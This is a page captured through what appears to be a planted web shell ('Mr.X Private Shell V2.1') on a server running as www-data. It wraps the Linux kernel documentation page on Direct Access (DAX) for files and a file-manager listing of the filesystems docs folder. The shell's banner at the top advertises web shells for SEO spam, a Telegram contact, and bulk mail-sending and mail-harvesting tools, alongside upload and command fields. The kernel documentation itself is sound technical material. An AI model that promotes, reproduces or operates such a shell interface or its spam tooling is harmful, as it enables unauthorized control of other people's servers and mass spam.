__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Direct Access for files &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="DebugFS" href="debugfs.html" />
    <link rel="prev" title="Cramfs - cram a filesystem onto a small ROM" href="cramfs.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/filesystems/dax.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="direct-access-for-files">
<h1>Direct Access for files<a class="headerlink" href="#direct-access-for-files" title="Link to this heading">¶</a></h1>
<section id="motivation">
<h2>Motivation<a class="headerlink" href="#motivation" title="Link to this heading">¶</a></h2>
<p>The page cache is usually used to buffer reads and writes to files.
It is also used to provide the pages which are mapped into userspace
by a call to mmap.</p>
<p>For block devices that are memory-like, the page cache pages would be
unnecessary copies of the original storage.  The <cite>DAX</cite> code removes the
extra copy by performing reads and writes directly to the storage device.
For file mappings, the storage device is mapped directly into userspace.</p>
</section>
<section id="usage">
<h2>Usage<a class="headerlink" href="#usage" title="Link to this heading">¶</a></h2>
<p>If you have a block device which supports <cite>DAX</cite>, you can make a filesystem
on it as usual.  The <cite>DAX</cite> code currently only supports files with a block
size equal to your kernel’s <cite>PAGE_SIZE</cite>, so you may need to specify a block
size when creating the filesystem.</p>
<p>Currently 5 filesystems support <cite>DAX</cite>: ext2, ext4, xfs, virtiofs and erofs.
Enabling <cite>DAX</cite> on them is different.</p>
</section>
<section id="enabling-dax-on-ext2-and-erofs">
<h2>Enabling DAX on ext2 and erofs<a class="headerlink" href="#enabling-dax-on-ext2-and-erofs" title="Link to this heading">¶</a></h2>
<p>When mounting the filesystem, use the <code class="docutils literal notranslate"><span class="pre">-o</span> <span class="pre">dax</span></code> option on the command line or
add ‘dax’ to the options in <code class="docutils literal notranslate"><span class="pre">/etc/fstab</span></code>.  This works to enable <cite>DAX</cite> on all files
within the filesystem.  It is equivalent to the <code class="docutils literal notranslate"><span class="pre">-o</span> <span class="pre">dax=always</span></code> behavior below.</p>
</section>
<section id="enabling-dax-on-xfs-and-ext4">
<h2>Enabling DAX on xfs and ext4<a class="headerlink" href="#enabling-dax-on-xfs-and-ext4" title="Link to this heading">¶</a></h2>
</section>
<section id="summary">
<h2>Summary<a class="headerlink" href="#summary" title="Link to this heading">¶</a></h2>
<blockquote>
<div><ol class="arabic">
<li><p>There exists an in-kernel file access mode flag <cite>S_DAX</cite> that corresponds to
the statx flag <cite>STATX_ATTR_DAX</cite>.  See the manpage for statx(2) for details
about this access mode.</p></li>
<li><p>There exists a persistent flag <cite>FS_XFLAG_DAX</cite> that can be applied to regular
files and directories. This advisory flag can be set or cleared at any
time, but doing so does not immediately affect the <cite>S_DAX</cite> state.</p></li>
<li><p>If the persistent <cite>FS_XFLAG_DAX</cite> flag is set on a directory, this flag will
be inherited by all regular files and subdirectories that are subsequently
created in this directory. Files and subdirectories that exist at the time
this flag is set or cleared on the parent directory are not modified by
this modification of the parent directory.</p></li>
<li><p>There exist dax mount options which can override <cite>FS_XFLAG_DAX</cite> in the
setting of the <cite>S_DAX</cite> flag.  Given underlying storage which supports <cite>DAX</cite> the
following hold:</p>
<p><code class="docutils literal notranslate"><span class="pre">-o</span> <span class="pre">dax=inode</span></code>  means “follow <cite>FS_XFLAG_DAX</cite>” and is the default.</p>
<p><code class="docutils literal notranslate"><span class="pre">-o</span> <span class="pre">dax=never</span></code>  means “never set <cite>S_DAX</cite>, ignore <cite>FS_XFLAG_DAX</cite>.”</p>
<p><code class="docutils literal notranslate"><span class="pre">-o</span> <span class="pre">dax=always</span></code> means “always set <cite>S_DAX</cite> ignore <cite>FS_XFLAG_DAX</cite>.”</p>
<p><code class="docutils literal notranslate"><span class="pre">-o</span> <span class="pre">dax</span></code>      is a legacy option which is an alias for <code class="docutils literal notranslate"><span class="pre">dax=always</span></code>.</p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>The option <code class="docutils literal notranslate"><span class="pre">-o</span> <span class="pre">dax</span></code> may be removed in the future so <code class="docutils literal notranslate"><span class="pre">-o</span> <span class="pre">dax=always</span></code> is
the preferred method for specifying this behavior.</p>
</div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Modifications to and the inheritance behavior of <cite>FS_XFLAG_DAX</cite> remain
the same even when the filesystem is mounted with a dax option.  However,
in-core inode state (<cite>S_DAX</cite>) will be overridden until the filesystem is
remounted with dax=inode and the inode is evicted from kernel memory.</p>
</div>
</li>
<li><p>The <cite>S_DAX</cite> policy can be changed via:</p>
<ol class="loweralpha simple">
<li><p>Setting the parent directory <cite>FS_XFLAG_DAX</cite> as needed before files are
created</p></li>
<li><p>Setting the appropriate dax=”foo” mount option</p></li>
<li><p>Changing the <cite>FS_XFLAG_DAX</cite> flag on existing regular files and
directories.  This has runtime constraints and limitations that are
described in 6) below.</p></li>
</ol>
</li>
<li><p>When changing the <cite>S_DAX</cite> policy via toggling the persistent <cite>FS_XFLAG_DAX</cite>
flag, the change to existing regular files won’t take effect until the
files are closed by all processes.</p></li>
</ol>
</div></blockquote>
</section>
<section id="details">
<h2>Details<a class="headerlink" href="#details" title="Link to this heading">¶</a></h2>
<p>There are 2 per-file dax flags.  One is a persistent inode setting (<cite>FS_XFLAG_DAX</cite>)
and the other is a volatile flag indicating the active state of the feature
(<cite>S_DAX</cite>).</p>
<p><cite>FS_XFLAG_DAX</cite> is preserved within the filesystem.  This persistent config
setting can be set, cleared and/or queried using the <cite>FS_IOC_FS`[`GS</cite>]`ETXATTR` ioctl
(see ioctl_xfs_fsgetxattr(2)) or an utility such as ‘xfs_io’.</p>
<p>New files and directories automatically inherit <cite>FS_XFLAG_DAX</cite> from
their parent directory <strong>when created</strong>.  Therefore, setting <cite>FS_XFLAG_DAX</cite> at
directory creation time can be used to set a default behavior for an entire
sub-tree.</p>
<p>To clarify inheritance, here are 3 examples:</p>
<p>Example A:</p>
<div class="highlight-shell notranslate"><div class="highlight"><pre><span></span>mkdir<span class="w"> </span>-p<span class="w"> </span>a/b/c
xfs_io<span class="w"> </span>-c<span class="w"> </span><span class="s1">&#39;chattr +x&#39;</span><span class="w"> </span>a
mkdir<span class="w"> </span>a/b/c/d
mkdir<span class="w"> </span>a/e

------<span class="o">[</span>outcome<span class="o">]</span>------

dax:<span class="w"> </span>a,e
no<span class="w"> </span>dax:<span class="w"> </span>b,c,d
</pre></div>
</div>
<p>Example B:</p>
<div class="highlight-shell notranslate"><div class="highlight"><pre><span></span>mkdir<span class="w"> </span>a
xfs_io<span class="w"> </span>-c<span class="w"> </span><span class="s1">&#39;chattr +x&#39;</span><span class="w"> </span>a
mkdir<span class="w"> </span>-p<span class="w"> </span>a/b/c/d

------<span class="o">[</span>outcome<span class="o">]</span>------

dax:<span class="w"> </span>a,b,c,d
no<span class="w"> </span>dax:
</pre></div>
</div>
<p>Example C:</p>
<div class="highlight-shell notranslate"><div class="highlight"><pre><span></span>mkdir<span class="w"> </span>-p<span class="w"> </span>a/b/c
xfs_io<span class="w"> </span>-c<span class="w"> </span><span class="s1">&#39;chattr +x&#39;</span><span class="w"> </span>c
mkdir<span class="w"> </span>a/b/c/d

------<span class="o">[</span>outcome<span class="o">]</span>------

dax:<span class="w"> </span>c,d
no<span class="w"> </span>dax:<span class="w"> </span>a,b
</pre></div>
</div>
<p>The current enabled state (<cite>S_DAX</cite>) is set when a file inode is instantiated in
memory by the kernel.  It is set based on the underlying media support, the
value of <cite>FS_XFLAG_DAX</cite> and the filesystem’s dax mount option.</p>
<p>statx can be used to query <cite>S_DAX</cite>.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>That only regular files will ever have <cite>S_DAX</cite> set and therefore statx
will never indicate that <cite>S_DAX</cite> is set on directories.</p>
</div>
<p>Setting the <cite>FS_XFLAG_DAX</cite> flag (specifically or through inheritance) occurs even
if the underlying media does not support dax and/or the filesystem is
overridden with a mount option.</p>
</section>
<section id="enabling-dax-on-virtiofs">
<h2>Enabling DAX on virtiofs<a class="headerlink" href="#enabling-dax-on-virtiofs" title="Link to this heading">¶</a></h2>
<p>The semantic of DAX on virtiofs is basically equal to that on ext4 and xfs,
except that when ‘-o dax=inode’ is specified, virtiofs client derives the hint
whether DAX shall be enabled or not from virtiofs server through FUSE protocol,
rather than the persistent <cite>FS_XFLAG_DAX</cite> flag. That is, whether DAX shall be
enabled or not is completely determined by virtiofs server, while virtiofs
server itself may deploy various algorithm making this decision, e.g. depending
on the persistent <cite>FS_XFLAG_DAX</cite> flag on the host.</p>
<p>It is still supported to set or clear persistent <cite>FS_XFLAG_DAX</cite> flag inside
guest, but it is not guaranteed that DAX will be enabled or disabled for
corresponding file then. Users inside guest still need to call statx(2) and
check the statx flag <cite>STATX_ATTR_DAX</cite> to see if DAX is enabled for this file.</p>
</section>
<section id="implementation-tips-for-block-driver-writers">
<h2>Implementation Tips for Block Driver Writers<a class="headerlink" href="#implementation-tips-for-block-driver-writers" title="Link to this heading">¶</a></h2>
<p>To support <cite>DAX</cite> in your block driver, implement the ‘direct_access’
block device operation.  It is used to translate the sector number
(expressed in units of 512-byte sectors) to a page frame number (pfn)
that identifies the physical page for the memory.  It also returns a
kernel virtual address that can be used to access the memory.</p>
<p>The direct_access method takes a ‘size’ parameter that indicates the
number of bytes being requested.  The function should return the number
of bytes that can be contiguously accessed at that offset.  It may also
return a negative errno if an error occurs.</p>
<p>In order to support this method, the storage must be byte-accessible by
the CPU at all times.  If your device uses paging techniques to expose
a large amount of memory through a smaller window, then you cannot
implement direct_access.  Equally, if your device can occasionally
stall the CPU for an extended period, you should also not attempt to
implement direct_access.</p>
<p>These block devices may be used for inspiration:
- pmem: NVDIMM persistent memory driver</p>
</section>
<section id="implementation-tips-for-filesystem-writers">
<h2>Implementation Tips for Filesystem Writers<a class="headerlink" href="#implementation-tips-for-filesystem-writers" title="Link to this heading">¶</a></h2>
<p>Filesystem support consists of:</p>
<ul class="simple">
<li><p>Adding support to mark inodes as being <cite>DAX</cite> by setting the <cite>S_DAX</cite> flag in
i_flags</p></li>
<li><p>Implementing -&gt;read_iter and -&gt;write_iter operations which use
<a class="reference internal" href="api-summary.html#c.dax_iomap_rw" title="dax_iomap_rw"><code class="xref c c-func docutils literal notranslate"><span class="pre">dax_iomap_rw()</span></code></a> when inode has <cite>S_DAX</cite> flag set</p></li>
<li><p>Implementing an mmap file operation for <cite>DAX</cite> files which sets the
<cite>VM_MIXEDMAP</cite> and <cite>VM_HUGEPAGE</cite> flags on the <cite>VMA</cite>, and setting the vm_ops to
include handlers for fault, pmd_fault, page_mkwrite, pfn_mkwrite. These
handlers should probably call <a class="reference internal" href="api-summary.html#c.dax_iomap_fault" title="dax_iomap_fault"><code class="xref c c-func docutils literal notranslate"><span class="pre">dax_iomap_fault()</span></code></a> passing the
appropriate fault size and iomap operations.</p></li>
<li><p>Calling <code class="xref c c-func docutils literal notranslate"><span class="pre">iomap_zero_range()</span></code> passing appropriate iomap operations
instead of <code class="xref c c-func docutils literal notranslate"><span class="pre">block_truncate_page()</span></code> for <cite>DAX</cite> files</p></li>
<li><p>Ensuring that there is sufficient locking between reads, writes,
truncates and page faults</p></li>
</ul>
<p>The iomap handlers for allocating blocks must make sure that allocated blocks
are zeroed out and converted to written extents before being returned to avoid
exposure of uninitialized data through mmap.</p>
<p>These filesystems may be used for inspiration:</p>
<div class="admonition seealso">
<p class="admonition-title">See also</p>
<p>ext2: see <a class="reference internal" href="ext2.html"><span class="doc">The Second Extended Filesystem</span></a></p>
</div>
<div class="admonition seealso">
<p class="admonition-title">See also</p>
<p>xfs:  see <a class="reference internal" href="../admin-guide/xfs.html"><span class="doc">The SGI XFS Filesystem</span></a></p>
</div>
<div class="admonition seealso">
<p class="admonition-title">See also</p>
<p>ext4: see Documentation/filesystems/ext4/</p>
</div>
</section>
<section id="handling-media-errors">
<h2>Handling Media Errors<a class="headerlink" href="#handling-media-errors" title="Link to this heading">¶</a></h2>
<p>The libnvdimm subsystem stores a record of known media error locations for
each pmem block device (in gendisk-&gt;badblocks). If we fault at such location,
or one with a latent error not yet discovered, the application can expect
to receive a <cite>SIGBUS</cite>. Libnvdimm also allows clearing of these errors by simply
writing the affected sectors (through the pmem driver, and if the underlying
NVDIMM supports the clear_poison DSM defined by ACPI).</p>
<p>Since <cite>DAX</cite> IO normally doesn’t go through the <code class="docutils literal notranslate"><span class="pre">driver/bio</span></code> path, applications or
sysadmins have an option to restore the lost data from a prior <code class="docutils literal notranslate"><span class="pre">backup/inbuilt</span></code>
redundancy in the following ways:</p>
<ol class="arabic simple">
<li><p>Delete the affected file, and restore from a backup (sysadmin route):
This will free the filesystem blocks that were being used by the file,
and the next time they’re allocated, they will be zeroed first, which
happens through the driver, and will clear bad sectors.</p></li>
<li><p>Truncate or hole-punch the part of the file that has a bad-block (at least
an entire aligned sector has to be hole-punched, but not necessarily an
entire filesystem block).</p></li>
</ol>
<p>These are the two basic paths that allow <cite>DAX</cite> filesystems to continue operating
in the presence of media errors. More robust error recovery mechanisms can be
built on top of this in the future, for example, involving redundancy/mirroring
provided at the block layer through DM, or additionally, at the filesystem
level. These would have to rely on the above two tenets, that error clearing
can happen either by sending an IO through the driver, or zeroing (also through
the driver).</p>
</section>
<section id="shortcomings">
<h2>Shortcomings<a class="headerlink" href="#shortcomings" title="Link to this heading">¶</a></h2>
<p>Even if the kernel or its modules are stored on a filesystem that supports
<cite>DAX</cite> on a block device that supports <cite>DAX</cite>, they will still be copied into RAM.</p>
<p>The DAX code does not work correctly on architectures which have virtually
mapped caches such as ARM, MIPS and SPARC.</p>
<p>Calling <code class="xref c c-func docutils literal notranslate"><span class="pre">get_user_pages()</span></code> on a range of user memory that has been
mmapped from a <cite>DAX</cite> file will fail when there are no ‘<code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">page</span></code>’ to describe
those pages.  This problem has been addressed in some device drivers
by adding optional <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">page</span></code> support for pages under the control of
the driver (see <cite>CONFIG_NVDIMM_PFN</cite> in <code class="docutils literal notranslate"><span class="pre">drivers/nvdimm</span></code> for an example of
how to do this). In the non <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">page</span></code> cases <cite>O_DIRECT</cite> reads/writes to
those memory ranges from a non-<cite>DAX</cite> file will fail</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p><cite>O_DIRECT</cite> reads/writes _of a <cite>DAX</cite> file do work, it is the memory that
is being accessed that is key here).  Other things that will not work in
the non <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">page</span></code> case include RDMA, <code class="xref c c-func docutils literal notranslate"><span class="pre">sendfile()</span></code> and
<code class="xref c c-func docutils literal notranslate"><span class="pre">splice()</span></code>.</p>
</div>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/filesystems/dax.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
caching Folder 0755
ext4 Folder 0755
fuse Folder 0755
iomap Folder 0755
nfs Folder 0755
smb Folder 0755
spufs Folder 0755
xfs Folder 0755
9p.html File 24.15 KB 0644
adfs.html File 13.15 KB 0644
affs.html File 18.5 KB 0644
afs.html File 19.14 KB 0644
api-summary.html File 831.83 KB 0644
autofs-mount-control.html File 32.3 KB 0644
autofs.html File 38.96 KB 0644
automount-support.html File 12.79 KB 0644
befs.html File 14.41 KB 0644
bfs.html File 10.72 KB 0644
btrfs.html File 9.7 KB 0644
buffer.html File 48.88 KB 0644
ceph.html File 18.87 KB 0644
coda.html File 65.97 KB 0644
configfs.html File 36.14 KB 0644
cramfs.html File 14.95 KB 0644
dax.html File 25.37 KB 0644
debugfs.html File 21.71 KB 0644
devpts.html File 10.61 KB 0644
directory-locking.html File 23.11 KB 0644
dlmfs.html File 14.28 KB 0644
dnotify.html File 12.09 KB 0644
ecryptfs.html File 11.96 KB 0644
efivarfs.html File 10 KB 0644
erofs.html File 29.42 KB 0644
ext2.html File 32.92 KB 0644
ext3.html File 8.29 KB 0644
f2fs.html File 67.87 KB 0644
fiemap.html File 23.32 KB 0644
files.html File 16.52 KB 0644
fscrypt.html File 107.9 KB 0644
fsverity.html File 64.53 KB 0644
gfs2-glocks.html File 21.71 KB 0644
gfs2-uevents.html File 12.88 KB 0644
gfs2.html File 10.38 KB 0644
hfs.html File 12.31 KB 0644
hfsplus.html File 10.28 KB 0644
hpfs.html File 26.83 KB 0644
idmappings.html File 74.42 KB 0644
index.html File 68.19 KB 0644
inotify.html File 12.35 KB 0644
isofs.html File 12.17 KB 0644
journalling.html File 115.17 KB 0644
locking.html File 52.92 KB 0644
locks.html File 11.91 KB 0644
mount_api.html File 49.94 KB 0644
multigrain-ts.html File 15 KB 0644
netfs_library.html File 86.81 KB 0644
nilfs2.html File 22.21 KB 0644
ntfs3.html File 13.64 KB 0644
ocfs2-online-filecheck.html File 13.13 KB 0644
ocfs2.html File 15.76 KB 0644
omfs.html File 13.12 KB 0644
orangefs.html File 35.89 KB 0644
overlayfs.html File 54.83 KB 0644
path-lookup.html File 123.09 KB 0644
porting.html File 94.09 KB 0644
proc.html File 140.32 KB 0644
qnx6.html File 16.36 KB 0644
quota.html File 12.12 KB 0644
ramfs-rootfs-initramfs.html File 27.94 KB 0644
relay.html File 40.38 KB 0644
resctrl.html File 93.99 KB 0644
romfs.html File 18.06 KB 0644
seq_file.html File 36.49 KB 0644
sharedsubtree.html File 46.25 KB 0644
splice.html File 79.36 KB 0644
squashfs.html File 24.34 KB 0644
sysfs.html File 29.32 KB 0644
tmpfs.html File 22.95 KB 0644
ubifs-authentication.html File 33.04 KB 0644
ubifs.html File 15.06 KB 0644
udf.html File 12.11 KB 0644
vfat.html File 26.07 KB 0644
vfs.html File 167.26 KB 0644
virtiofs.html File 12.16 KB 0644
zonefs.html File 35.71 KB 0644
Filemanager